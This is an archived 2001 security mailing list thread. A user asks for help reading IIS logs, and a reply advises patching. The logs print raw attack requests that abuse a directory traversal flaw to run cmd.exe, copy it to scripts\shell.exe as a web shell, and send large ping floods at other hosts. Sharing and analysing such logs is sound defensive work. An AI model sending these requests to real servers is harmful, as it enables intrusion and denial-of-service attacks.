It would appear that yout IIS webserver is not patched. Sorry I'm not sure of the correct "hotfix" but you can find them at http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsolutions/security/current.asp and select "IIS" 502 Bad Gateway "The server, in the role of a gateway or proxy, received an invalid response from the upstream server while attempting to fulfill the request." http://www.liquidmatrix.org/HTTPsc.htm hope this helps somewhat, gattaca ---------------------- liquidmatrix.Org ---------------------- ------------------------------------------------------------------------ ------ From: myrddin_eat_private Date: Tue, 10 Jul 2001 08:24:50 -0800 (PDT) To: incidentsat_private Subject: Unicode Logs with Ping Activity Would like someone to help me understand what is going on here... The 502 error at the end end of these entries would indcicate failures, wouldn't they? I've been all through the logs on this box, and even thought at every attempt to copy c:\winnt\system32\cmd.exe to c:\inetpub\scripts\shell.exe shows a 502, it is there. I'm looking at the times on the log entries and guessing that this was a manual attack. Also, can someone please explain what is being attempted with these pings? aaa.aaa.aaa.aaa bbb.bbb.bbb.bbb ccc.ccc.ccc.ccc.ccc ddd.ddd.ddd.ddd.ddd are all unique addresses. #Software: Microsoft Internet Information Services 5.0 #Version: 1.0 #Date: 2001-06-19 18:44:15 #Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs- uri-query sc-status cs(User-Agent) 2001-06-19 18:44:15 aaa.aaa.aaa.aaa - bbb.bbb.bbb.bbb 80 GET /scripts/../../winnt/system32/cmd.exe /c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\shell.exe 502 - 2001-06-19 19:24:28 aaa.aaa.aaa.aaa - bbb.bbb.bbb.bbb 80 GET /scripts/../../winnt/system32/cmd.exe /c+ping+-v+ip-header-bad%20-n+300+-l+65500+-w+0+ccc.ccc.ccc.ccc 502 - 2001-06-19 19:31:42 aaa.aaa.aaa.aaa - bbb.bbb.bbb.bbb 80 GET /scripts/../../winnt/system32/cmd.exe /c+ping+-v+host-precedence-violation%20-n+300+-l+65500+-w+0+ddd.ddd.ddd.ddd 502 - Free, encrypted, secure Web-based email at www.hushmail.com ------------------------------------------------------------------------ ---- This list is provided by the SecurityFocus ARIS analyzer service.
